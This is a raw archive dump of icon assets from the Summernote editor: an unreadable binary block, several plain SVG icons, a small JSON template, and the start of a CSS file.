g�����E�=���%jFe��x��cHٝ���&7i�����%�#-G=ҒPNZ�=Ң�¿LVƬ*��4��ė��#-�F�AZds[�n��glqKQ�➀��p��U���ie�OH���sw���t5;�r�,�:��.��rN.�ʻ���y���:e�{�\�ߦ� )j�n�5��@�x�N:�{��ö�ogAy�N�1U靟��A;ʖ_ ��v�i�i�RN��"8���:o%ndsy͍�(K��$9sQ�-?�w\�Mh����-�0+���ޝ� ����swA�o�o��#�(�n���jˋ�Z���u���?��r{G�Z`Oo�gz�o[ ��M���t{z��ڰuW[1�Q�X��U:X��;���?���I� �V�,�s��N���SAb�X�~魞F^�]Z3�+�/�\f�c~c�i�3F�Δ����})�ى7~�?�z�����R�+D�ů���ӂ��I�RkЈ�0�p�1mҗ5A�o�Rtg����fyL�`�\�����r�a�b�[��29�]z���Tr5M+�,KɄ%���WFD���Կ��۱M8�[�έ<�� ���-b��}9"�v��m���_�lH;_^���aє,�+#"�CD��4���&\�X9r�˾Md�-X��Ԓ��%�tB<P��i�]���D���FD��$�$�wrw�{���=�PJY�{���;K���|d�����;�yx��e��Mԯ_Lj�DW����\��"�M����k��Nf�)�cP��e4�Yd�_E�U��W��Z�bPY�Q�j0�??CO��LB:!��D^�u@����0�"�ZV�`!/蘰-i/Vy�8�^������L�>����Y4��yYu�U]}X�[���\p�+38�.t�Y�$��M#/��t�[�@3@�AJЫ%r��*�8@�h��ߣ��ݐ8�Ø�wA�3?C���+�Xg8Ӛ�W��>�]�FyES/����Aѯ��7�!Du���f��+�v�spx���[��C�;�p�wro���&��9�W�X�8�ɱ}b�;(�ۋ��i��u�2J���ɷ��CQ�/�����V�Mnw q<ؒ��<�5t�IV]�L���죯I��p�"z�J���%�/�▤�/גV�&�+T��Cj� /����?�g�#i�u]��z�k���G�(�TW@r�jfR�o�� y7�Q�ϫ:ǔ�dž7�:Gs�D�� ��n�H��8��~��;�T�E�/d�rmB^�'���m��7�/bZ���Γ��9��x'i���dD�x����r���LV�B��,9�<{oG:x��U�8m)�Ϻ������w�^�f���{�W�i�)���z�$��}�:({�]�Z���t ��� X!ZZ� �s��| ~}B^֍�]��7�ۜ�p���%�>�/�Ca���ߧDD��G��ٓM�V��S��uRd!�>t�s܌|��"��/Şӹx��G!c�Da��3暪!H!�C��7#h*)$E� �jAՐH�?���HR��@��l��d(&�!Y� �Q�W7~��'��ϑD7Z��y���ڟ�t�G@<'�ܬqc�N��5�{\MH��l�UN���5��U�sUI-ʁ�n����ϼ6)�5�@Im*&b �=�j�y<-�όyB1C��O>��h�h�Y7в��j�O��e�b��P�K0E��9q���}|� ��x(�����h�\!�`��S1D�0b9r+D�Mh>9��$jz!�[n$��� `��{S}S�{롵�O�??ke��D�-,�i�ߑ�X]�M0��w� �蜺yY���H��K er�=F!�'�|�2D�8b��Q���;1wڅUh�x6�����\������9�mPi5���)��d�XJ�_��a ��i[��`¶��<�;~=mxc�����_��y<�L�� ~�}ҝ��y� P���mLt�u�UՌ�٩J-�}���,�"�D>简�Ҹ�Y�:!�ܕ����e���* 3%˥�g��W�P0'$:t�a�l�gzZ��4�-�| ��ݮ/�b�����'��?�!u���o�O�����E �@���"K�?������������d��7<-�M�'Նk(��+(~�S@�/m�>���;�I��6d{�W@q���7�}�.OGR�P�o��0V�����4���;�G� ��p ����H�\�ϣK������@N�"z�ۯh> ��}z�~���%�MˌÀ�F2a1�za���H�܌����G�r�>u���6j |�r����h�hI�}�6�Ϯػ{���u��ޟqf&ߣ˄z��đC���h�3��^�]��7 hT'�H1��9��jo��C��0ɋ��d�0�|]S1�����;N�糦���>�.�oA+}<{Z4��׳�<h��#i��E'{y.�����8���H&��q�#٠(�A)�=��2�z/��VO��ҜtT�@�����~y�,�:��,��+ǫ�� ��L'�T�T0�9%e�{���0�_��h�a�62m6�ɱ���u/ ���;B^L%�88�UN�פ���f�!�K6�{ <K� ��=����$[n�g��I4;>P� @��oi���;I��y��P��۷F�-�=�2P� �h�v�8��#aݾ��h��^����1��/�t������P���犪�ثU:y4H:�hC/��:��=��{�@��0�ٓ}�cyȫ�,�x�@��N�.��!�� l�J���R���J�_��n�u��FI}�T����ou��-Vz�YZC�[���!!lFs���6-����R�q��C�H�HRg �SKa�ɢ�]:�ϧ�4��]H" &E]{���|��&�sM�>H�|��� {�����k��,�G���H�`��ׅ��2a�����+9eu6=,&U�+$脗��.ۋ�h��MkA�s����/�2��=�M�_Q{C����y��� u�?�Mv�,D7�T�+��Ĩ�>��u�T0i/��ct�a� #�a�K��{�Ļ��?�K�ϒ r*27Uؼv$�M�l�![�@ƈM��&k�ԩ�B�V���+�ھ遦�_�{#��ߐ|w�G��3��2���G�япm�z=���V���qBꆫzt�����Z+6�zn_��>;;H�� 9��#QK�k: K(� M��} �|y�#t �t�ɓ�[g���V����ֆ� �l�2���먃kH���DU��µT��l�S*~� ��e�=N�P�]ik��R���t���Ϋ�c��w�@��K}��Ii؇��J�4�'���s���~N��`I�Ǩ�\AK��BK�ͥ��; �h�L�WpIn���V�R�B�c�.�m�R8djx0�݂)�ڟm*����^�t�D�N����J}:7$����=���d�������ݘ��Ӄ�pc"%Hܔ IS4��T���B��'|:]UcV�%'�(ar'LzJ)�S�-����ĝK�aK:����T� [���5l��21�M�,wc:zGL�L�ّ�����ƫyE�c�a�R��t�t>J�xs�7D|��}q3�/� i�0&����~������\��"���n����P�+�`��Yn�;�����o<W�[�q�i]y�U���_����1. ;�R�`u� �S?dn��ڐ��͈8�zHn����q��H*��W��w�@�l�u<�ŭv-���f��9�k��~�{a��8��I`��H.����8b�ܡ[�_/�|r� ���].j.2c,�=��[�9�����������g�I�'��d��&��נ� �5�Ɉ�}-�g|I���A�^�+>@�� ��`'o�B��Y\�ʽ$�����%��!���4��2-��Z��r7�� �W�G�0l&�+�,;�UOu5R�y�aN;E���Tbʽ^{� �s��o*���]"�'��P�ȫ�0oJ�W^<�i�ӌ��i���N���[+�P��\}��~y���uy��Ӊ���'�5�B�%��y�EZ4��п�:�]h���\� �T*�Tu��~��jU �F�}�n�)gb+C�j���?��#�4�y����q<��n���3�P^bDX��hw���XT<��~o6�����RZ>���a �N���bm=�.�0�z�����^�Q�zw����k�f2�E"�].�K;9�Ve�z�H%�ki��,R dS ��\COMcU����óYl2�P�N�I�� x�D�'y�<�!�V8�N�Ձ`s�c�X�����]� ����S�K�Q��}Em) �EL�Ö5n"�_X�����:�6|�,���:�cX�~���-��<�ȝg���LΪC��� ��m"�P˼^Ðu����s����ںFp����K��?N�!� �7�$���#س\�҈oz��9Ő�@���������-�&���1}�$�W픦�)sU�5y+�����T,�mRC��3�u�2.��2-��Xij��!ʣ�4�Oб�J���QB��D�:Sք�<�DI�4o�6&�Ub�R�m�;�H|�Z��T5A���ކƼR�i�:��@3sN���� ��L��(��d�N�l��W �`Ԕ�n�i[��[��j#k��r�YM�g�t��w1�u�Tɞx�� =2-�d*f��͍��t7�o�6�3���fzƬ��#��0fQn��;���-^�M�}��I���4l9ۢ���[.�}U���czF���(��.0w�%�K�r�L���{��n�"�IZ�c�ӵ�mv��h�����|�c\�nigJ�A` ��Q+`QM�w�,��?yř:�C��o%7�L��c�ϻy�����J$�V�@�.4���F$�WP����t��5�P�\^��cs��t�ݤ��L1:���#��s�>wǼX�$w�H��σ$�6��v{P��הs�l_*�w��q~�QXd1���Ϩ�qd1�Ɓm���̒_E ��_$~�н��q�H���nH�#7Q���$� ђ~�@��y�Ňv�;��Y"~��'o��h1~w;a��_Dx�"�?�E��/�(��#��ԥ��u��rS�E�_DHo���|"1�����u5�dv_e�3����dBc����=.�r����>@�]��J2 q�4L�*K&��"��8���&1j<�G���q���8��h�U}-��gցN�'Ga���u�ι�ޫhQ����ɼ4�S��Xd헔�Z�\�:�D�/x�]u(�U��t���su�����Eh�Z��P��C�Up;���47�@ڬ?�'襯@C��G�{�%�X]�FV���@:�W�F7Y��0Qke[��8�L�R����E��A*}h#���y¤���k$�y����<������D���N'{c��>==T)p� Wؒ��§8��rQk����a@͍2�r ���`5��������Ѓ�KВ�\��zr�zн���/�QSM�̹m�Gg}E�{m�9R+����UA��?��+�����)�gg��*,-�"����3���N���ԬoLK1�kGm����{��rL�N� �y�9��69����a�}�;���� ��@�͵����!q�.A�Alss2��}zCU.땕 �fJ}#��� ���Xe�<�-"�5r�H����`��b^������<d���E�oi ����E �Qa8��l:FF��H���|��X��^� g#>t��~��E>��*�v�6 ���a�j� ��VS�a�K�g�&�����T�d���XԌ��'z#��e�� Pv��:�e"���G� E{�5��ү�+������m�4Z>YI\��e9��� �r��� ŁP%� �{փ��a���.�2z�Pz�3^]d0#�]Ο��G���7.�Hpƈ}��6t��*'��'�"���Y�=�����j�q�H����/�֪;y�G�6:������EZ�w�����ח�ďE��lT}�2��I(r�Cɰ��\[+��2 )r?�\���]*�[��k�4U.QO����(�FO�y,�M���[d�0����J*����w�jLe��f�Op��� ��X��b����k���ҷ��x#�N}��ε�>�kfTG�S<�GBf�8%6�m�������6�P@/��~�@:H�#�Ѯ�#��f;!<]�D�%~a���C�q�݆ �כ��U9[:U-��x ���ԽܖBԯ��E����Б�7[��H-���C� �oJ���]Uf�2��Z��X�>�g�J�!o�����rc����NȬ�yy�����(h�3���[ɖ�Uh w�c�k�W�@�>�^��s���� 4�z������ʮ��y���J(��k+~�\Ck�K��Z3�W��?�św��^_�W�%pϟ�_PG�9��9[)�z� ��JI���ÑT�n��D�p-FZ?#���/ �g��(���m�����t��X�a�a��?����`�?_OSܷN�&+Ͼ���Ѻ8@��~OB�E/�%�m&=~��d���;x��^�}�.�`��ߍ��v�;/���Zw�P�8�lg�O(vD�܁�Ð|�Qg�Ut��!R`�l�5��8�hѣ�u�.�8��ű�Y4�o��դ����[a�}}�qއ�5��WFQs�� �o�I��,����T��M�E4��cG���6I�^=��n��� �h����"�S��� ��s����ѣӔG�v���ۭG�����)W���I��۫'�܂N��_�ҹ��w�>9#����b��{�r� �U'�v�}�I��*?ȥ�w�|p�y��.@��I�[:�J�b*_��i-=z�}�,����$}�4tc�{彛�rr�G���,#6aB�`�^�f�u�C��-�k�?�j�O�\ݛ(�Uz��E�� m��V�)�qǻ���-�/��:��}� vS� �!W�����*;�(���Sl�Jl���@m���T�v^�m��>���F�E�Z�s<�\:ަ�!�Pڅ���x픢�rB;�Q������o]"����^9�O�]��5G��.�(w��;�*�c���i�G%D��Ř��{W����q6��=�)}ŀ����nj�y��e�]��y ^9��JiJd��n����eOP"G77=�D%�>JLQ�!v[Tkk(Q��ۤ)�:.P"�2f�ҏ�P�RYd�@@"�R�!M)��RCP@�j�aLHuC���0Բr�a� jYp/+��e����T(���<nx�'72d���B� Y����V��|3L-v�{�t�v{�,��s�9 �dȂ��J�kwJ���=z�^��H/U��rP�W��[% �)���Q��"�L�pxr[0�P)~��T�O�fIWYі T��(|U�Gn)_z���ڜ�o=�y��fѦ�=Qj}𧺰�$��x��D܊�C9��cݚU%��5}�i�$�H���t��8?X�~0<l�~�W���\Q��2�|�e�w ����}��s���ۼ{87��7��N�����I�R���o��7͍)��'b��7�lKϴO熷���ٞq�ٖ���t��=�6&g9L�L o�t�~I }��]��Is��r�թƇ��ўpw���&���5ʃ)͍��XgU�Ɋx۳-=�E[��)H����3.=��+��'܆)=�)LG=���Q�H��g��gv��k=P{̐+�O�SԟM��DT�ܗ�}�<T��Ag����N*�Sn�arC�� ����`�Nr/�M(��%���68�� �|?؆��f������T�q�!��vm�����ˆR�;�����zP�{�=Rm���1�P ��1�l��tv��!�63��'��u`��V���w�~vTZ�Tj�ڂzn5���Tn���{�y��3��q�e��$ڸ=�0�?P�+�I�OX��A{�t����L��h\�&U9�S�� ��%��9LȄ^x�u�W���PV��~�(:Ɨ����Q]��h�E���h���,����M�2m@��OUX���it�q��sBn�zP��y�Q1�*O�yCI��5��%�mx`;#�xl-�9hΫ襔-�c�pͺLjB�\�X�iY˱V��j�5� w��#��c��kB�]-]��Z�f{�Z̛s9ּ�=ּ �XsD�c͞�k���7gv�{���ƺCʫ��:��b�q9VI'r�؏�(7���s�S|6T��ʼnu~�[��7 �� iD�8,�> ��ʐ��4��X�,{�q���q��|W�(g�g9�l����r�ΫP`T�JWB{ɍ頳�Axj�&6'��rq���؝����� $/�gi��%�[PΐO�ų�xC:�1�u��©\�N�t�۫P�ð\�7�)�M��* �#��>�h��G�n�5\��O+1���n|.iJ�Q��(4(���Bk���x�{�Qi�\ޯz����#�-�n���uj�S���r��n+/%*p��9B���l�A�:�"?��e�lp6��O7��=��}���*�<Uw��UQLGw�Ai������*5�Z_O����S^n8�}��V��C3���Be:��G����"��^z�S����z����\C��4�"Q�].�z2f��\}�z�@��*)?> �D/x�yqn� ��X.�O�N�@��"~׳|/6�}�&�Vڀ )�V��H� $��ֵ��[��.�s�勫�M��o� iϫ��G�k�GX� ~K��B�;����Ő�A����fo�mi9?��n��l�y���g,L�XF�x�Y��t�������̽ɗ�>� 7W~�i�/O}�5W��=f]9�� �2^����6h7HʄЈz� � ^ �/B�\@wv����^��)x��֡}��T o�C�ȋ؈oy@�?�x�(�|{*��(Qod*~�~o��W�kB�E�AE���/� �CR�q��@�����6PM~3i �?��9>��і�F���!\^���ӂ�����i��KIyE4X�}���1����pj�>�fA�,�G�%�0��i}�E,J5:1n�fOW�hs]�s��ٮ5T�����[��3Nʧg"��#sy�5۴�\^e�ʧ�g��_�J��Q%7z���.�؝��Cx�'O���%���7\7H/c]Y(��ؕ���ŗ���R�� ~���y��N�R*绅���\K��2S8#�a��ZT�q�\+�ԋ�+\�/=z~�K]���4�7�gDŽ�f C�}��I��$��g>C�*���M������h�B�O8�=�B��"�S�+�����Y�;c(~�H -J��Y��b�)��^D�/c��O�2 #ڇ"?�U��[_"���q�V�L�V�lR� 9�E�BmPP��ޢ�#\�*��<&Q ���":y�u ����;�އ��}�%��W�8��1��䰋>,�ɰ���t�iظ����K(��Q&����Dx�G��e�}���|�ɜ2�s�T@��>N�2}��l�I�B�@k��\�j⤩�o��<�r<�+�zkq�t$5�eC�ji�ԁKl�^�1\(騎�3R�8�Y}!��JX$�:ӆ*��P�a�f�2��{ngN�\�|��̀�)X$#����X� Ґ)L�FQ�U.�O'�i\�y�M��㓨��~�����E?>�����no������n��t���߉�|� ���1�P,�/��hzs�Q�/��-�Xri]��aQ�U��ܵR�r��� �1٦���Y»q�p%��凙�*Q� �E�s�I�]��&pf?n4�w�V(�m �Ϻ��ʿj�Q��Iϥč��b�G悤� �"�Zs���?;�06�b*�E�+�N&�l�C�F�� A8����x13�.K�YY<1����e��O�h���MF�_�e<*�c_�S��Ȫ�U��F�j�������:$|�B�ڗ���L��ɪ��2�)d�ʅ|pEeu�0E�6V~�l���C�Z������j2��� �c4�O�4�;w��9M�� ^�l>:l��7_Q|�ܖ���o��Vpx�1#�~E�C��t�5���0¼ 21�L�0/�Ե���M?�3n�m8#M��$B�[J��D�~�)B�f���N�r'���/�/� i�pᦡ+�a��Γ�9�Ji\W�~$�8h�L�F۪�r�K�ޢh6z��E ��);a�� �� �4 Ӈ���~�B���!ה���Lj�����I��\�}�k�Q�˜7?� �!��[ז��*x�Y�z=��������*�O=&c����Ќ=G�*p����5�����mK:�%<�t��y���D~൦2�!1g�89o*�!|��*���>ƥ�{�������f$�~��~���5u�O0��t�)b�A[,��e�&9|~����=�I���K,���L5uP;�e����[ƫ%2�@e=�V[�E ֑=2���f�@�Vv�ȄyjQ�O�4��e�;�4r�s����bDHV{.R|��S��!��?�@<90��[O�%g$L�iH\"j���TӬ��b�RD�[�'?� �&.�n��Q�܅�U�<�y"�oYjF ������p6z�~��a��W=��Be.�QW�6wBny8}�7;ó���r���(*�@��d�����mv�m���q~D�p��X9�f'L�fgz6;���Ȏ�gxjz�:���}y+s~#6n&m���U~�5��ւ��� �^�w�h�M��3�9��b���y�%�UV�\���P+���1���a���ن���Ue�|mV���0�Ϧ�3 �/%�%b»H�0v�h��]��������%��`���< �Â��Zn3��y��y�Q2�/�_]'Rʂh���4����Z�q���G�d�:�q4�fq[�o�k�Ş�E�YQ�8-�i��촍��-���2��:nv��ൔ-�r��wpDg��Qq曆7�t5m�P�k���:�(kJnm��l�`?��S��ĭ ��#G���{�>6�u�d�L�s+�n�8�~UQ+jö0�S�1���&��c8����P�0�b2o��3���i�}AGc�("�"s�Sx_o?��b��D�ǖ�2CZ��!�Z}��{(������m��|K/��4�(���l�+>� ����ά�]�zlƮKج�{�q�9 ���F�aH�F �U�0O�5IRC�]�6�x*�TӚy��Π$o:}�����o��1b7ԗ�M��AM ������r����4��I�jp/��m2l�kop�^L�oE��!-���)dq>�e`;��K��R��|�q�[�lĆ�ۋ�|e&e1���. �b�G����5~���5rZ���&���[J٩�B.t<�5���� �ן����Ø�\(��N����<�4�3�_�ZD�����<�P��Ю����KNq�IF�aK�5 ���8�y���r�khQ���͇5�b_Դ�3/��M&ԅy1���!��JCS��x+��?�U����͂4� [�է���ci�W�w(�A�Q2�u�~b'�9�[ �<~�&w7;;�C��Ec/�{����9�]��D���Ulq�p�zԌ����AjW�;ufz:�:��������A��i�c�˺u㼩E�ӝ�{�E�݂26�{�I��FpP��xO������+�yӶ���8F�U�։��#�����緤凲G?��7Z��_fd�O`F&~N���`s�,R.�,k���Ghu6�ZN�W�D�os(c�V?�/3��Fr��"Z��ZV4�P��R�Q��:���e�6���}�����kG#dlk#n��8E�(ʸFm�嘂���s���,�����:OB�ye���x���$U��j�$�6���c�85�#��0�R� �v��G��X�* ���<��о� � ���\-������=�5���>�=Z���$��ā;�����=�;����2��ߠ�� �6Vt1iF�>7a��h� �I�w�T. KQ�f�3�K�%����o4U��jy��@ȫȯ4�r��An����bJ�p��S/z�"���QɭT�Ǫ*_,c�{��w�������z�8b/���|�����'�&t0���V��-)ۮn�=5��1Z�t�k#����c�\��F��弅kX��e[����>4U$�����>&*y�N�i;���Ű�y��ӏ��dC��B��U����|�8((��+����]A�sD8��|Kh�e��E��_��`=m�ܾ��Gj=�{f7G��Gg d��4u�6 ֵ)��_��|�Z�#dȩ�lf-�����2,�қ��|�a��H�o I�X]�=D��+e7�(e��B�Zr�|����a���,c�p�d�9�(a��*0)2���lDV� nP-+�2 �cB�ULq. ��q���g��pmpH5��0[�&"D�h&ڊ^�r��F�.�a�9G���WE�:�(:)��� �খ��?OU���� o���鲉-$[���*|=���?�������5~"�&?�Y] M�4��[��t�0\�XS������)���.x�� $$���w5��_�����Eށ�h��Q/!969J�7ŝ2W��5%�rP�'��@B�Ym~�����%|�^"�{e�2�#ZY�Ry�����+�D��Q���O�y�D��a?���n#��G�S\KO]�����g �<�{z�ٱp��$��r l"ÆE,d��eA��5?���1��lW���=��u+�}���0v?y��էtx�t�������� ��x:����`��j-�^ɐ✺�+%r0(��WzϺ�a �+7Rk:���8����0��x�cb```b`�``b�� Ϡ��@�%B��/����*�3��_����`����/3D����?�8������g`��v�����B�$vx�c```d���|�ז���c� icons/col-after.svg000064400000007673151677272030010303 0ustar00<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!-- Created with Inkscape (http://www.inkscape.org/) --> <svg xmlns:osb="http://www.openswatchbook.org/uri/2009/osb" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:cc="http://creativecommons.org/ns#" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" width="3.9521849mm" height="3.9511111mm" viewBox="0 0 14.003805 14" id="svg3446" version="1.1" inkscape:version="0.91 r13725" sodipodi:docname="col-after.svg"> <defs id="defs3448"> <linearGradient id="linearGradient4209" osb:paint="solid"> <stop style="stop-color:#ffffff;stop-opacity:1;" offset="0" id="stop4211" /> </linearGradient> <linearGradient inkscape:collect="always" xlink:href="#linearGradient4209" id="linearGradient3671" gradientUnits="userSpaceOnUse" gradientTransform="matrix(0.0633074,0,0,0.0633074,2746.9779,180.3852)" x1="252.42857" y1="91.944138" x2="379.79977" y2="91.944138" /> </defs> <sodipodi:namedview id="base" pagecolor="#ffffff" bordercolor="#666666" borderopacity="1.0" inkscape:pageopacity="0.0" inkscape:pageshadow="2" inkscape:zoom="15.839192" inkscape:cx="-14.589889" inkscape:cy="25.694683" inkscape:document-units="px" inkscape:current-layer="layer1" showgrid="false" fit-margin-top="0" fit-margin-left="0" fit-margin-right="0" fit-margin-bottom="0" inkscape:window-width="1854" inkscape:window-height="1057" inkscape:window-x="1424" inkscape:window-y="-8" inkscape:window-maximized="1" /> <metadata id="metadata3451"> <rdf:RDF> <cc:Work rdf:about=""> <dc:format>image/svg+xml</dc:format> <dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage" /> <dc:title></dc:title> </cc:Work> </rdf:RDF> </metadata> <g inkscape:label="Camada 1" inkscape:groupmode="layer" id="layer1" transform="translate(728.278,112.5011)"> <g transform="matrix(0,1,-1,0,-531.8777,-2872.4914)" id="g3610-6"> <path style="stroke:url(#linearGradient3671);stroke-width:0;stroke-miterlimit:4;stroke-dasharray:none" inkscape:connector-curvature="0" d="m 2771.022,186.4283 q 0,0.264 -0.1915,0.4658 l -0.3882,0.3882 q -0.1966,0.1965 -0.4709,0.1965 -0.2795,0 -0.4658,-0.1965 l -1.5217,-1.5164 0,3.6436 q 0,0.2691 -0.194,0.4372 -0.1941,0.1683 -0.4684,0.1683 l -0.6625,0 q -0.2743,0 -0.4684,-0.1683 -0.1941,-0.1681 -0.1941,-0.4372 l 0,-3.6436 -1.5216,1.5164 q -0.1863,0.1965 -0.4658,0.1965 -0.2795,0 -0.4658,-0.1965 l -0.3882,-0.3882 q -0.1966,-0.1967 -0.1966,-0.4658 0,-0.2742 0.1966,-0.471 l 3.3693,-3.3692 q 0.1812,-0.1916 0.4658,-0.1916 0.2795,0 0.471,0.1916 l 3.3693,3.3692 q 0.1915,0.2019 0.1915,0.471 z" id="path3400-4-4-5-3" /> <path id="polygon3366-49-8-3-2" d="m 2773.9903,191.0823 c 0,-0.2901 -0.1688,-0.5229 -0.3789,-0.5229 l -13.2422,0 c -0.21,0 -0.3789,0.2328 -0.3789,0.5229 l 0,4.7928 c 0,0.29 0.1689,0.5252 0.3789,0.5252 l 13.2422,0 c 0.2101,0 0.3789,-0.2352 0.3789,-0.5252 l 0,-4.7928 z m -1.1582,0.687 0,3.4211 -3.2168,0 0,-3.4211 3.2168,0 z m -4.2852,0 0,3.4211 -3.2148,0 0,-3.4211 3.2148,0 z m -4.2832,0 0,3.4211 -3.2148,0 0,-3.4211 3.2148,0 z" style="clip-rule:evenodd;fill:#000000;fill-rule:evenodd;image-rendering:optimizeQuality;shape-rendering:geometricPrecision;text-rendering:geometricPrecision" inkscape:connector-curvature="0" /> </g> </g> </svg> icons/square.svg000064400000001073151677272030007713 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill-rule: evenodd; } </style> </defs> <path id="Rounded_Rectangle_7" data-name="Rounded Rectangle 7" class="cls-1" d="M26.188-17.645H992.877a128,128,0,0,1,128,128V923.107a128.005,128.005,0,0,1-128,128H26.188a128,128,0,0,1-128-128V110.355A128,128,0,0,1,26.188-17.645ZM97.324,53.5H920.236a128,128,0,0,1,128,128v670.47a128,128,0,0,1-128,128H97.324a128,128,0,0,1-128-128V181.5A128,128,0,0,1,97.324,53.5Z"/> </svg> icons/eraser.svg000064400000001520151677272030007671 0ustar00<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve"> <g> <g> <path fill="#010202" d="M809.47,113.026H383.481c-67.22,0-121.711,53.92-121.711,120.442L79.209,835.674 c0,66.521,54.492,120.442,121.709,120.442h425.986c67.222,0,121.713-53.923,121.713-120.442l182.563-602.206 C931.181,166.946,876.687,113.026,809.47,113.026z M652.267,870.801H185.705l60.855-276.013h466.559L652.267,870.801z"/> </g> </g> </svg> icons/arrow-circle-up.svg000064400000000720151677272030011424 0ustar00<svg width="1792" height="1792" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1412 895q0-27-18-45l-362-362-91-91q-18-18-45-18t-45 18l-91 91-362 362q-18 18-18 45t18 45l91 91q18 18 45 18t45-18l189-189v502q0 26 19 45t45 19h128q26 0 45-19t19-45v-502l189 189q19 19 45 19t45-19l91-91q18-18 18-45zm252 1q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"/></svg>icons/col-before.svg000064400000003522151677272030010431 0ustar00<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!-- Created with Inkscape (http://www.inkscape.org/) --> <svg id="svg3446" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://www.w3.org/2000/svg" xmlns:osb="http://www.openswatchbook.org/uri/2009/osb" height="3.9511mm" width="3.9522mm" version="1.1" xmlns:cc="http://creativecommons.org/ns#" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 14.003805 14" xmlns:dc="http://purl.org/dc/elements/1.1/"> <metadata id="metadata3451"> <rdf:RDF> <cc:Work rdf:about=""> <dc:format>image/svg+xml</dc:format> <dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/> <dc:title/> </cc:Work> </rdf:RDF> </metadata> <g id="layer1" transform="translate(785.53 142.75)"> <g id="g3610-68" transform="matrix(0 -1 1 0 -967.93 2631.2)"> <path id="path3400-4-4-5-65" d="m2771 186.43q0 0.264-0.1915 0.4658l-0.3882 0.3882q-0.1966 0.1965-0.4709 0.1965-0.2795 0-0.4658-0.1965l-1.5217-1.5164v3.6436q0 0.2691-0.194 0.4372-0.1941 0.1683-0.4684 0.1683h-0.6625q-0.2743 0-0.4684-0.1683-0.1941-0.1681-0.1941-0.4372v-3.6436l-1.5216 1.5164q-0.1863 0.1965-0.4658 0.1965t-0.4658-0.1965l-0.3882-0.3882q-0.1966-0.1967-0.1966-0.4658 0-0.2742 0.1966-0.471l3.3693-3.3692q0.1812-0.1916 0.4658-0.1916 0.2795 0 0.471 0.1916l3.3693 3.3692q0.1915 0.2019 0.1915 0.471z" stroke-width="0"/> <path id="polygon3366-49-8-3-1" style="image-rendering:optimizeQuality;shape-rendering:geometricPrecision" d="m2774 191.08c0-0.2901-0.1688-0.5229-0.3789-0.5229h-13.242c-0.21 0-0.3789 0.2328-0.3789 0.5229v4.7928c0 0.29 0.1689 0.5252 0.3789 0.5252h13.242c0.2101 0 0.3789-0.2352 0.3789-0.5252v-4.7928zm-1.1582 0.687v3.4211h-3.2168v-3.4211h3.2168zm-4.2852 0v3.4211h-3.2148v-3.4211h3.2148zm-4.2832 0v3.4211h-3.2148v-3.4211h3.2148z" fill-rule="evenodd" clip-rule="evenodd"/> </g> </g> </svg> icons/align-right.svg000064400000001112151677272030010612 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill: #000; fill-rule: evenodd; } </style> </defs> <path d="M93.209,136.000 L93.209,287.842 L1007.000,287.842 L1007.000,136.000 L93.209,136.000 ZM245.234,588.421 L1007.000,588.421 L1007.000,438.180 L245.234,438.180 L245.234,588.421 ZM18.001,889.000 L1007.000,889.000 L1007.000,738.711 L18.001,738.711 L18.001,889.000 Z" class="cls-1"/> </svg> icons/superscript.svg000064400000002425151677272030011000 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill: #000; fill-rule: evenodd; } </style> </defs> <path d="M1224.352,265.601 L1122.923,265.601 C1168.606,227.355 1218.535,181.521 1218.535,121.817 C1218.535,62.634 1176.234,24.388 1110.769,24.388 C1075.107,24.388 1039.232,34.898 1009.019,58.298 L1032.528,117.612 C1052.060,103.187 1072.238,90.538 1097.337,90.538 C1124.347,90.538 1139.223,103.722 1139.223,127.594 C1138.704,167.588 1091.468,206.535 1006.603,283.581 L1006.603,333.098 L1224.352,333.098 L1224.352,265.601 ZM888.208,880.169 L888.208,976.165 L636.887,976.165 L446.450,678.379 L256.003,976.165 L4.691,976.165 L4.691,880.169 L59.527,880.169 C92.722,880.169 123.464,863.980 140.462,837.540 L336.646,532.418 L147.213,255.492 C129.927,230.222 99.907,214.911 67.646,214.911 L16.340,214.911 L16.340,118.919 L250.445,118.919 L446.450,403.552 L642.454,118.919 L876.550,118.919 L876.550,214.911 L825.253,214.911 C792.987,214.911 762.963,230.222 745.686,255.492 L556.253,532.422 L752.432,837.544 C769.426,863.980 800.172,880.173 833.363,880.173 L888.208,880.173 L888.208,880.169 Z" class="cls-1"/> </svg> icons/templates/summernote.json000064400000000126151677272030012757 0ustar00{ "baseClass": "", "classPrefix": "note-icon-", "mixinPrefix": "note-icon-" } icons/templates/summernote.css000064400000006762151677272030012612 0ustar00/* Generated by grunt-webfont */ /* Based on 